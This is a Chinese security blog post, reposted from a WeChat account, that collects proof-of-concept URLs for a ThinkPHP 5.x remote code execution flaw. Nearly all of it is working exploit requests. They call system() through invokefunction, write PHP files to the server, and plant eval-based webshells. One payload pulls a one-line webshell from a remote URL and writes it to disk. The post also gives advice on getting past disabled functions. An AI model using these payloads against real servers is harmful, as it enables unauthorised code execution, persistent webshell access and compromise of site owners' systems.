ThinPHP5.1 代码执行漏洞getshell poc总结

admin 2021年9月1日00:42:08评论144 views字数 2007阅读6分41秒阅读模式

最近新出的thinkphp5.1的洞来的算是一场及时雨,正好在给某厂家内测,就派上用场了。


厂家的系统版本是 ThinkPHP V5.0.21


然后用了许多网上搜的poc都无法使用


http://tp.vsplate.me/public/index.php?s=/index/thinkrequest/cache&key=ls%20-l|system



http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l


http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'


http://tp.vsplate.me/public/index.php?s=/index/thinkrequest/cache&key=1|phpinfo


http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php


http://tp.vsplate.me/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E



index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami


今天在吐司上面https://www.t00ls.net/viewthread.phptid=48985&extra=&page=1看到了有人在讨论这个exp的问题


Payload:

index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))


先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件  而且不带<>





public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo();



第二个poc测试成功了,发现可以回显phpinfo的内容,那么这一条代码在5.0.21的版本是可执行的


public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]);



fuck作为一个传导参数,可以执行任意php命令,如果sytstem等一些参数被禁用了则不可执行。


所以在测试的时候,不要一上去就执行加一些函数的测试

public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");


这种调用system函数的测试,这样有时候回显不出来,是因为某些函数被禁用了,而不是漏洞不存在!


最后附上测试成功的截图

ThinPHP5.1 代码执行漏洞getshell poc总结


本文始发于微信公众号(零组攻防实验室):ThinPHP5.1 代码执行漏洞getshell poc总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月1日00:42:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinPHP5.1 代码执行漏洞getshell poc总结http://cn-sec.com/archives/355962.html

发表评论

匿名网友 填写信息